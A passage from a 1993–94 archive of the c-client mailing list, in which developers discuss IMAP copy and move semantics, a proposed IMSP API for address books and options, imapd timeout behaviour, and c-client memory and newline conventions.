destination is specified as remote, then the server must have an IMAP client, use c-client syntax, and must have enough information to obtain access authorization to the remote server. These are a lot of ifs. In general, I recommend the client fetch/mail technique and would tend to deprecate the copy/move techniques except as an efficiency hack in those cases when the client absolutely knows that these functions will work. I would go even further, and to say that copy/move should be used ONLY when mail is stored in only one place, whether local or a single server. They do not scale to the general case. This is why append was created. -- Mark -- From pinedev@shivax2.cac.washington.edu Fri Dec 17 11:00:01 1993 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA23959; Fri, 17 Dec 93 11:00:01 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA15611; Fri, 17 Dec 93 11:01:48 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Lindy.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA15605; Fri, 17 Dec 93 11:01:46 -0800 Received: from mac-treister.stanford.edu by lindy.Stanford.EDU (4.1/4.7); Fri, 17 Dec 93 11:01:44 PST Date: Fri, 17 Dec 93 11:01:53 -0800 From: Adam Treister To: Chris Newman Subject: Re:Proposal for c-client API for IMSP Cc: c-client@cac.washington.edu Message-Id: Content-Type: TEXT/plain; charset=US-ASCII Chris, I read over your proposal last night, and am in general agreement all the way down the line. A few requests tho' 1) I'll probably write object wrappers around the address book and options calls. So my mm_address callback will look something like this: void mm_address(abook ab, char *name, fielddata *fdata, int count) { AddressBookObject* obj = EXTRACT_PARENT(ab); obj->ProcessCallback(name, fdata, count); } To do this, I need to bury my object pointer in your structures. So I'd like to see the open calls support a "parent" pointer. abook *abook_open(SUPPORTSTREAM *s, char *abook_name, void* parent); MAILSTREAM *mailbox_open(SUPPORTSTREAM *s, char *name, char *options, void* parent); 2) keyvalue > typedef struct keyvalue { > char *key, *value; > } keyvalue; The keyvalue pairs are general enough to do anything we want, but there are a few extra conventions that would make things easier on the client. a) a "list" keyvalue to enable atomic processing of multiple elements b) a "tagged" keyvalue to allow order-independent grammars to be defined. Both of these are in Apple's Object Model, which is architecturally very similar. I could build anything out of your keyvalue, but it makes things a lot easier to add a few more low level tools to the box. I think this necessitates reserving a few keys so the toolbox can recognize them and process accordingly. In addition to LIST and TAG, I can see gains to reserving ADDRESS and ADDRESSBOOK as keys to facillitate representation of distribution lists, and hierarchical address books. 3) My final comment is that this model fits my needs for most any application that wants location-independence! Do you know of any reason why an application that is not using IMAP could not use IMSP and this API to provide the address book and options functionality? Adam From pinedev@shivax2.cac.washington.edu Tue Dec 28 21:37:14 1993 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA04145; Tue, 28 Dec 93 21:37:14 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA09474; Tue, 28 Dec 93 21:37:31 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Delphi.CS.UCLA.EDU by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA09468; Tue, 28 Dec 93 21:37:29 -0800 Received: from twinsun.UUCP by delphi.cs.ucla.edu (Sendmail 5.61d+YP/3.23) id AA26303; Tue, 28 Dec 93 21:37:27 -0800 Received: by twinsun.com (4.1/SMI-4.1) id AA28728; Tue, 28 Dec 93 21:19:23 PST Received: from ford.airco.co.jp by air.airco.co.jp (4.1/6.4J.6) id AA16725; Tue, 28 Dec 93 14:54:28 JST Received: by ford.airco.co.jp (4.1/6.4J.6) id AA01028; Tue, 28 Dec 93 14:39:58 JST Date: Tue, 28 Dec 93 14:39:58 JST From: makr@airco.co.jp (Mark Keasling) Return-Path: Message-Id: <9312280539.AA01028@ford.airco.co.jp> To: c-client@cac.washington.edu Subject: Question about Imapd and PC interaction Hi folks, I am having a problem with the imapd when connection is made through the network from a PC (using Cameleon). If the PC hangs and is rebooted (occurs frequently), the imapd doesn't terminate but hangs around for a few minutes waiting to timeout. If the user, reruns the application from the PC, the mailbox that it was reading is now read-only. If the imapd is connected to a Unix box and the application crashes or is killed, the imapd terminates immediately. I'm wondering if the Pine people (or anyone else for that matter) have had a similar experience and if so how they solved it. I think it may be that the ethernet board or network software isn't configured properly or some such PC thing, but since I have virtually no PC experience, I really haven't got a clue as to how to approach the problem let alone fix it. I would especially appreciate any bits of wisdom thrown my way. Happy Holidays, makr -- Mark Keasling AIR Company LTD, Nishikawa Mitsui Bldg, 1-3-14 Kitahama, Chuo-ku, Osaka 541 email: makr%airco.co.jp phone: +1 81 6201 4307 fax: +1 81 6201 2107 From pinedev@shivax2.cac.washington.edu Tue Dec 28 22:28:42 1993 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA04467; Tue, 28 Dec 93 22:28:42 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA09619; Tue, 28 Dec 93 22:28:55 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA09613; Tue, 28 Dec 93 22:28:35 -0800 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA07669; Tue, 28 Dec 93 22:28:22 -0800 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA18572; Tue, 28 Dec 93 22:28:14 -0800 Date: Tue, 28 Dec 1993 22:24:46 -0800 (PST) From: Mark Crispin Subject: re: Question about Imapd and PC interaction To: Mark Keasling Cc: c-client Interest List In-Reply-To: <9312280539.AA01028@ford.airco.co.jp> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On UNIX-based systems, when a TCP programs quits the operating system sends a close (TCP reset) to the other end. This causes an imapd to exit. This doesn't happen on toy computers such as PC's or Macs, especially when they are rebooted. imapd in this case has no way of knowing that the other end went away. Hence the difference between the two types of clients. imapd has a 30-minute inactivity timeout, after which it exists. In modern versions of c-client and imapd, if a second session tries to open the mailbox, it grabs the read/write lock away from the previous session and the previous session becomes read-only on a snapshot of the mailbox. From pinedev@shivax2.cac.washington.edu Wed Jan 19 09:39:31 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA00231; Wed, 19 Jan 94 09:39:31 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA01644; Wed, 19 Jan 94 09:43:59 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO3.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA01637; Wed, 19 Jan 94 09:43:57 -0800 Received: from localhost (postman@localhost) by po3.andrew.cmu.edu (8.6.4/8.6.4) id MAA12647; Wed, 19 Jan 1994 12:43:46 -0500 Received: via switchmail; Wed, 19 Jan 1994 12:43:45 -0500 (EST) Received: from nifty.andrew.cmu.edu via qmail ID ; Wed, 19 Jan 1994 12:43:33 -0500 (EST) Received: via niftymail; Wed, 19 Jan 1994 12:43:24 -0500 (EST) Date: Wed, 19 Jan 1994 12:43:23 -0500 (EST) From: Chris Newman Subject: Re: Re:Proposal for c-client API for IMSP To: Adam Treister In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: c-client@cac.washington.edu Message-Id: <759001403.22147.0@nifty.andrew.cmu.edu> I forgot to get to this message over the holidays... In message , Adam Treister writes: > Chris, > > I read over your proposal last night, and am in general agreement all the way > down the line. A few requests tho' > > 1) I'll probably write object wrappers around the address book and options > calls. So my mm_address callback will look something like this: > > void mm_address(abook ab, char *name, fielddata *fdata, int count) > { > AddressBookObject* obj = EXTRACT_PARENT(ab); > obj->ProcessCallback(name, fdata, count); > } > > To do this, I need to bury my object pointer in your structures. So I'd > like to see the open calls support a "parent" pointer. > > abook *abook_open(SUPPORTSTREAM *s, char *abook_name, void* parent); > > MAILSTREAM *mailbox_open(SUPPORTSTREAM *s, char *name, char *options, void* > parent); A good idea, although I'm not sure referring to it as "parent" is the right thing to do. For flexability, why don't I just make it a generic data void pointer (e.g. void *data). > 2) keyvalue > > > typedef struct keyvalue { > > char *key, *value; > > } keyvalue; > > The keyvalue pairs are general enough to do anything we want, but there are a > few extra conventions that would make things easier on the client. > > a) a "list" keyvalue to enable atomic processing of multiple elements > b) a "tagged" keyvalue to allow order-independent grammars to be defined. > > Both of these are in Apple's Object Model, which is architecturally very > similar. I could build anything out of your keyvalue, but it makes things a > lot easier to add a few more low level tools to the box. I think this > necessitates reserving a few keys so the toolbox can recognize them > and process accordingly. I don't really understand what you're asking for here. The IMSP model for an address book is that each address book entry is a set of keyvalue pairs (in an arbitrary order). What would the values of a "list" or "tagged" keyvalue be? Could you give me an example of their use? Does this merit IMSP spec or API level support, or would it work as a client convention? > In addition to LIST and TAG, I can see gains to reserving ADDRESS and > ADDRESSBOOK as keys to facillitate representation of distribution lists, and > hierarchical address books. The IMSP spec reserves "email" for a CRLF separated list of email addresses, and "members" for a CRLF separated list of names of other address book entries. The purpose of the abook_expand() API call is to ensure that all clients resolve both the "email" and "members" fields correctly. At present, I think burying address books in address book entries is getting a bit too complex. Since address book entry keys are arbitrary, this can always be added as a convention or later feature if there is demand. > 3) My final comment is that this model fits my needs for most any > application that wants location-independence! Do you know of any > reason why an application that is not using IMAP could not use IMSP > and this API to provide the address book and options functionality? The only tricky part is to keep the options namespace from getting confused. Otherwise, I'd say yes. In fact, one of the reasons for separating the IMSP functionality from IMAP is that it provides services that are potentially useful to non-IMAP protocols (POP2, POP3, NNTP, etc). - Chris From pinedev@shivax2.cac.washington.edu Wed Jan 19 10:51:46 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA01910; Wed, 19 Jan 94 10:51:46 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA02740; Wed, 19 Jan 94 10:56:11 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Lindy.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA02734; Wed, 19 Jan 94 10:56:09 -0800 Received: from mac-treister.stanford.edu by lindy.Stanford.EDU (4.1/4.7); Wed, 19 Jan 94 10:56:05 PST Date: Wed, 19 Jan 94 10:55:51 -0800 From: Adam Treister To: Chris Newman Subject: Re: Re:Proposal for c-client API for IMSP Cc: c-client@cac.washington.edu Message-Id: In-Reply-To: Your message <759001403.22147.0@nifty.andrew.cmu.edu> of Wed, 19 Jan 1994 12:43:23 -0500 (EST) Content-Type: TEXT/plain; charset=US-ASCII #1 Adam: > > To do this, I need to bury my object pointer in your > structures. So I'd > > like to see the open calls support a "parent" > pointer. > > > > abook *abook_open(SUPPORTSTREAM *s, char *abook_name, > void* parent); > > > > MAILSTREAM *mailbox_open(SUPPORTSTREAM *s, char *name, > char *options, void* > > parent); > Chris: > A good idea, although I'm not sure referring to it as > "parent" is the right thing to do. For flexability, why > don't I just make it a generic data void pointer (e.g. > void *data). No argument...Would a pointer by any other name, not dereference so sweet? #2 Adam: > > The keyvalue pairs are general enough to do anything > we want, but there are a > > few extra conventions that would make things easier on > the client. > > > > a) a "list" keyvalue to enable atomic processing of > multiple elements > > b) a "tagged" keyvalue to allow order-independent > grammars to be defined. > > > > Both of these are in Apple's Object Model, which is > architecturally very > > similar. I could build anything out of your keyvalue, > but it makes things a > > lot easier to add a few more low level tools to the > box. I think this > > necessitates reserving a few keys so the toolbox can > recognize them > > and process accordingly. > Chris: > I don't really understand what you're asking for here. > The IMSP model for an address book is that each address > book entry is a set of keyvalue pairs (in an arbitrary > order). What would the values of a > "list" or "tagged" keyvalue be? Could you give me an > example of their use? Does this merit IMSP spec or API > level support, or would it work as a client convention? I don't know if I can do this one justice, in the limited time I have but its a case where the anticipated modes of usage may justify another layer of complexity in the structures. I've included some typedefs from Apples AppleEvent structures in the hope that it'll give an example. (Read new Inside Mac volume on InterApplication Communication, for more explanation on their usage) I guess this is a convention since the client would be requesting a double, but the second element would be a list. But by having conventions in place, we can offer cross client functionality like Get_Fax_Number(treister) or How_Many_Names_In_List(c-client), that without some sort of standard, each client would only be able to provide for records it created. ------------------ Taken from AppleEvent.h ------------- (these are all 4 byte codes defined by apple, eg 'TEXT', 'aevt', 'quit' --Adam) typedef unsigned long AEEventClass; typedef unsigned long AEEventID; typedef unsigned long AEKeyword; typedef ResType DescType; struct AEDesc { DescType descriptorType; Handle dataHandle; }; typedef struct AEDesc AEDesc; struct AEKeyDesc { AEKeyword descKey; AEDesc descContent; }; typedef struct AEKeyDesc AEKeyDesc; typedef AEDesc AEAddressDesc; /* an AEDesc which contains address data */ typedef AEDesc AEDescList; /* a list of AEDesc's is a special kind of AEDesc */ typedef AEDescList AERecord; /* AERecord is a list of keyworded AEDesc's */ typedef AERecord AppleEvent; /* an AERecord that contains an AppleEvent */ > > The IMSP spec reserves "email" for a CRLF separated list > of email addresses, and "members" for a CRLF separated > list of names of other address book entries. The > purpose of the abook_expand() API call is to ensure that > all clients resolve both the "email" and "members" > fields correctly. No argument these are the most important cases, but there are other lists that mailstrom uses, that in theory should be shared across clients. eg: (Preferred-Fonts (Browser (Geneva 10 Bold)) (ReadWindow (Courier 12 Plain)) (Telemetry (Monaco 9 plain))). Yes, I can parse these lists myself, but the most effective way to get these things to be cross client is to build it into c-client. Let me close out this subject by recommending that we NOT try to incorporate it into any current versions, but table it for future enhancements. I'm not sure what percentage of users actively use more than one client regularly, AND care that the look and feel is consistant. Chances are its easier to write some utility that translates one clients preference set to another, than it is to agree on universal conventions at this early stage. Adam From pinedev@shivax2.cac.washington.edu Fri Jan 21 07:15:59 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA14350; Fri, 21 Jan 94 07:15:59 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA08888; Fri, 21 Jan 94 07:15:01 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO3.ANDREW.CMU.EDU by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA08879; Fri, 21 Jan 94 07:15:00 -0800 Received: from localhost (postman@localhost) by po3.andrew.cmu.edu (8.6.4/8.6.4) id KAA06319; Fri, 21 Jan 1994 10:14:53 -0500 Received: via switchmail; Fri, 21 Jan 1994 10:14:52 -0500 (EST) Received: from nifty.andrew.cmu.edu via qmail ID ; Fri, 21 Jan 1994 10:13:37 -0500 (EST) Received: via niftymail; Fri, 21 Jan 1994 10:13:33 -0500 (EST) Date: Fri, 21 Jan 1994 10:13:33 -0500 (EST) From: Chris Newman Subject: Re: Re:Proposal for c-client API for IMSP To: Adam Treister In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: c-client@cac.washington.edu Message-Id: <759165213.194.0@nifty.andrew.cmu.edu> Adam Treister writes: > I don't know if I can do this one justice, in the limited time I > have but its a case where the anticipated modes of usage may justify > another layer of complexity in the structures. I've included some > typedefs from Apples AppleEvent structures in the hope that it'll > give an example. (Read new Inside Mac volume on InterApplication > Communication, for more explanation on their usage) I'm afraid pointing to apple events as an example isn't going to convince me. When I added them to my basic application skeleton, I found them so complex that I almost decided not to bother supporting them... I wouldn't want that to happen with IMSP. > I guess this is a convention since the client would be requesting a > double, but the second element would be a list. But by having > conventions in place, we can offer cross client functionality like > Get_Fax_Number(treister) or How_Many_Names_In_List(c-client), that > without some sort of standard, each client would only be able to > provide for records it created. I think parsing of user-visible fields beyond "email" and "members" will be a dangerous thing for a client to do. There are all sorts of character set and internationalization issues to worry about (e.g. I believe some countries list their phone numbers in reverse order from what the US does)... > No argument these are the most important cases, but there are other > lists that mailstrom uses, that in theory should be shared across > clients. eg: (Preferred-Fonts (Browser (Geneva 10 Bold)) > (ReadWindow (Courier 12 Plain)) (Telemetry (Monaco 9 plain))). Yes, > I can parse these lists myself, but the most effective way to get > these things to be cross client is to build it into c-client. We definitely need to work out some system for registry of generic options and the prefixes used for client-specific options. - Chris From pinedev@shivax2.cac.washington.edu Mon Jan 24 17:27:11 1994 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA07602; Mon, 24 Jan 94 17:27:11 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA19491; Mon, 24 Jan 94 18:11:47 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from scapa.cs.ualberta.ca by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA19485; Mon, 24 Jan 94 18:11:43 -0800 Received: by scapa.cs.ualberta.ca id <18705>; Mon, 24 Jan 1994 19:11:28 -0700 Received: by isagate.edm.isac.ca (/\==/\ Smail3.1.20.1 #20.1) id ; Mon, 24 Jan 94 14:03 MST Received: from isa486-1 by isasun-1.edm.isac.ca with smtp (Smail3.1.28.1 #1) id m0pOYXT-000cxkC; Mon, 24 Jan 94 14:09 MST Date: Mon, 24 Jan 1994 13:09:37 -0700 From: Steve Hole Subject: Re: Re:Proposal for c-client API for IMSP To: Chris Newman Cc: Adam Treister , c-client@cac.washington.edu Message-Id: Priority: Normal Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Fri, 21 Jan 1994 08:13:33 -0700 Chris Newman wrote: > From: Chris Newman > Date: Fri, 21 Jan 1994 08:13:33 -0700 > Subject: Re: Re:Proposal for c-client API for IMSP > To: Adam Treister > Cc: c-client@cac.washington.edu > > > No argument these are the most important cases, but there are other > > lists that mailstrom uses, that in theory should be shared across > > clients. eg: (Preferred-Fonts (Browser (Geneva 10 Bold)) > > (ReadWindow (Courier 12 Plain)) (Telemetry (Monaco 9 plain))). Yes, > > I can parse these lists myself, but the most effective way to get > > these things to be cross client is to build it into c-client. > > We definitely need to work out some system for registry of generic > options and the prefixes used for client-specific options. I'll buy that. We are developing a hierarchical option model here that will be used in the ECSMail version 3.0. Some of these would be useful in the generic sense I'm sure. I would be happy to contribute this information as part of the startup. Cheers. -- Steve Hole ECS Technical Manager ISA Corporation mail: Steve.Hole@Edm.ISAC.CA Suite 835, 10040 - 104 St. phone: (403) 420-8081 Edmonton, Alberta, Canada fax: (403) 420-8037 T5J 0Z2 From pinedev@shivax2.cac.washington.edu Wed Feb 9 10:09:52 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94/UW-NDC Revision: 2.30 ) id AA11750; Wed, 9 Feb 94 10:09:52 -0800 Received: by mx2.cac.washington.edu (5.65+UW94/UW-NDC Revision: 2.30 ) id AA09213; Wed, 9 Feb 94 10:09:22 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from CAMIS.Stanford.EDU by mx2.cac.washington.edu (5.65+UW94/UW-NDC Revision: 2.30 ) id AA08656; Wed, 9 Feb 94 09:51:32 -0800 Received: from mcs-ss1-1.Stanford.EDU by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA27911; Wed, 9 Feb 94 09:51:31 PST Date: Wed, 9 Feb 1994 09:12:27 -0800 (PST) From: Mike Macgirvin Reply-To: Mike_Macgirvin@CAMIS.Stanford.EDU Subject: mm_idle() To: mrc@camis.stanford.edu Cc: c-client@cac.washington.edu, yeager@camis.stanford.edu Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII I'd like to request a client callback I'm tentatively calling mm_idle() which would be called during a select() (or poll(), whatever) network I/O timeout (say on the order of 10ms). XLView might be the only client which can make full use of this, as we try and handle keyboard actions during background checks, but this would be an easy way for other clients to twirl a cursor as they're waiting for something. We see this on more and more networked user interfaces these days. For systems which force blocking I/O, it wouldn't be called. For clients who don't have a use for it, it just becomes a no-op. mike From pinedev@shivax2.cac.washington.edu Tue Feb 15 13:24:29 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94/UW-NDC Revision: 2.30 ) id AA11425; Tue, 15 Feb 94 13:24:29 -0800 Received: by mx2.cac.washington.edu (5.65+UW94/UW-NDC Revision: 2.30 ) id AA24934; Tue, 15 Feb 94 13:24:16 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from PO2.ANDREW.CMU.EDU by mx2.cac.washington.edu (5.65+UW94/UW-NDC Revision: 2.30 ) id AA24928; Tue, 15 Feb 94 13:24:14 -0800 Received: from localhost (postman@localhost) by po2.andrew.cmu.edu (8.6.4/8.6.4) id QAA15003 for c-client@cac.washington.edu; Tue, 15 Feb 1994 16:24:11 -0500 Received: via switchmail; Tue, 15 Feb 1994 16:24:09 -0500 (EST) Received: from nifty.andrew.cmu.edu via qmail ID ; Tue, 15 Feb 1994 16:22:36 -0500 (EST) Received: via niftymail; Tue, 15 Feb 1994 16:22:34 -0500 (EST) Date: Tue, 15 Feb 1994 16:22:34 -0500 (EST) From: Chris Newman Subject: IMSP API extensions to c-client To: c-client@cac.washington.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <761347354.206.0@nifty.andrew.cmu.edu> I have an alpha release of the IMSP API extensions to c-client available on export.acs.cmu.edu:/pub/cyrus-mail/imsp-api-v1.00a1.tar.gz This includes the API descriptions, and support for address books and options. Please see the included README file for more details. I'd very much appreciate comments/bug-fixes/etc. Thanks, - Chris Newman From pinedev@shivax2.cac.washington.edu Thu Feb 17 20:50:30 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94/UW-NDC Revision: 2.30 ) id AA20628; Thu, 17 Feb 94 20:50:30 -0800 Received: by mx1.cac.washington.edu (5.65+UW94/UW-NDC Revision: 2.30 ) id AA10433; Thu, 17 Feb 94 20:47:33 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from ho07.eng.ua.edu by mx1.cac.washington.edu (5.65+UW94/UW-NDC Revision: 2.30 ) id AA10427; Thu, 17 Feb 94 20:47:26 -0800 Received: by ho07.eng.ua.edu (AIX 3.2/UCB 5.64/4.03) id AA11670; Thu, 17 Feb 1994 22:45:54 -0600 From: sshenoy@ho07.eng.ua.edu (Shivaprakash Shenoy) Message-Id: <9402180445.AA11670@ho07.eng.ua.edu> Subject: Makefile for c-client for AIX 3.2 ... To: c-client@cac.washington.edu Date: Thu, 17 Feb 1994 22:45:52 -0600 (CST) X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 160 Could you please send a Makefile for compiling the c-client programs on IBM RS/6000 running AIX 3.2 , please ? thanks _______ shiva From pinedev@shivax2.cac.washington.edu Sun Feb 27 18:27:11 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA16590; Sun, 27 Feb 94 18:27:11 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA19847; Sun, 27 Feb 94 18:26:59 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from burdell.cc.gatech.edu by mx2.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA19841; Sun, 27 Feb 94 18:26:57 -0800 Received: from haring (haring.cc.gatech.edu [130.207.118.106]) by burdell.cc.gatech.edu (8.6.4/8.6.4) with ESMTP id VAA28536 for ; Sun, 27 Feb 1994 21:26:55 -0500 Received: from localhost (iansmith@localhost) by haring (8.6.4/8.6.4) id VAA05366 for c-client@cac.washington.edu; Sun, 27 Feb 1994 21:25:19 -0500 Date: Sun, 27 Feb 1994 21:25:19 -0500 From: Ian Smith Message-Id: <199402280225.VAA05366@haring> X-Mailer: PowerMail v1.0 BETA Subject: questions To: c-client@cac.washington.edu X-Face: ]1(7!(jv3PV^wS"4!d@o|*[:0d;DI@Ih|3,eB|Y`Rds5e,X)S14A0wygOa'KgWk?8mEq:c& O/#l67K'(gH/"8`_|-n3xb5Sv.j Received: from mcs-ss1-1.Stanford.EDU by mx1.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA08007; Mon, 28 Feb 94 08:59:01 -0800 Received: from mcs-ss1-1.Stanford.EDU (mcs-ss1-1.Stanford.EDU [36.44.0.14]) by mcs-ss1-1.Stanford.EDU (8.6.5/8.6.5) with SMTP id IAA04633; Mon, 28 Feb 1994 08:58:27 -0800 Date: Mon, 28 Feb 1994 08:45:52 -0800 (PST) From: Mike Macgirvin Reply-To: Mike_Macgirvin@CAMIS.Stanford.EDU Subject: RE: questions To: Ian Smith Cc: c-client@cac.washington.edu In-Reply-To: Ian Smith's message of Sun, 27 Feb 1994 21:25:19 -0500: <199402280225.VAA05366@haring> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII > 1) I seem unable to put an arbitrary string in as a "flag". User flags ("keywords") are only implemented in Tenex mode mailboxes that I'm aware. The values for these strings need to be defined to the server using ".mminit" or .imapinit". There doesn't seem to be any way of defining them via the client. You can set or clear the flag bits, but not define the name for them. I'll let somebody more knowledgeable supply the exact details. > 2) I'd like to be able to retreive an entire message (complete) > as text for the purpose of forwarding it under the MIME rules. Try mail_fetchheader followed by mail_fetchtext(). Cat the two together, change newlines to local convention (argggh, the c-client should really do this, IMHO), and you've got it. > 3) Mark mentioned before that I should use a "hands-off" policy > with respect to memory mangement and the toolkit... are there > exceptions to this involving retreiving messages? I don't believe so. The encode/decode functions are different, though. They live outside of the cache and you must manage their memory. > it was my understanding that > I needed to "fs_give(memoryptr)" the memory back after decoding Careful. fs_give takes (void **) (!!!). So if memoryptr is (char *), you need "fs_give((void **) &memoryptr);" From pinedev@shivax2.cac.washington.edu Mon Feb 28 15:27:28 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA09232; Mon, 28 Feb 94 15:27:28 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA01655; Mon, 28 Feb 94 15:27:16 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA01649; Mon, 28 Feb 94 15:27:14 -0800 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA18060; Mon, 28 Feb 94 15:27:07 -0800 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA20606; Mon, 28 Feb 94 15:27:00 -0800 Date: Mon, 28 Feb 1994 15:17:16 -0800 (PST) From: Mark Crispin Subject: re: questions To: Ian Smith Cc: c-client Interest List In-Reply-To: <199402280225.VAA05366@haring> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Mike Macgirvin's reply pretty much says everything I would have said. Here are a couple of additions: 1) At the present time, the creation of arbitrary user flags (or ``keywords'') is not supported in IMAP. I hope that IMSP will support keyword creation. The current c-client only supports user flags in the Tenex and MTX formats, although perhaps after there is some reasonable way to define them (other than ``edit your .imaprc file'') this may happen. 2) In general, use the CR/LF convention as the newline convention in your program. Let c-client worry about changing to local convention when writing files. Your message display code and message editor will have to be aware of CR/LF newlines instead of the local convention, but if you ever port your application to some other platform you'll be glad that you did it that way instead of trying to support 69 different local conventions. The biggest trouble you may have is in handing off the message to an external editor; then you may have to do convention converting. But, calling an external editor is a local OS-dependent operation anyway. It may be hard to be used to writing C code using a different newline convention than ordinary C, but it will pay off when you port to DOS or Mac. 3) It is very important to remember that fs_give() takes (void **). This has the very nice side effect of zeroing the pointer when it is freed, sparing you countless hours in hunting down dangling pointer bugs later on... ;-) From pinedev@shivax2.cac.washington.edu Mon Feb 28 15:34:44 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA09418; Mon, 28 Feb 94 15:34:44 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA01783; Mon, 28 Feb 94 15:34:26 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from carson-oms2.u.washington.edu by mx2.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA01777; Mon, 28 Feb 94 15:34:24 -0800 Received: from shiva2.cac.washington.edu by carson-oms2.u.washington.edu (5.65+UW94/UW-NDC Revision: 2.30 ) id AA20384; Mon, 28 Feb 94 15:34:15 -0800 Date: Mon, 28 Feb 1994 15:34:06 -0800 (PST) From: Terry Gray Subject: re: questions To: Mark Crispin Cc: Ian Smith , c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 28 Feb 1994, Mark Crispin wrote: > 1) At the present time, the creation of arbitrary user flags (or ``keywords'') > is not supported in IMAP. I hope that IMSP will support keyword creation. > The current c-client only supports user flags in the Tenex and MTX formats, > although perhaps after there is some reasonable way to define them (other than > ``edit your .imaprc file'') this may happen. 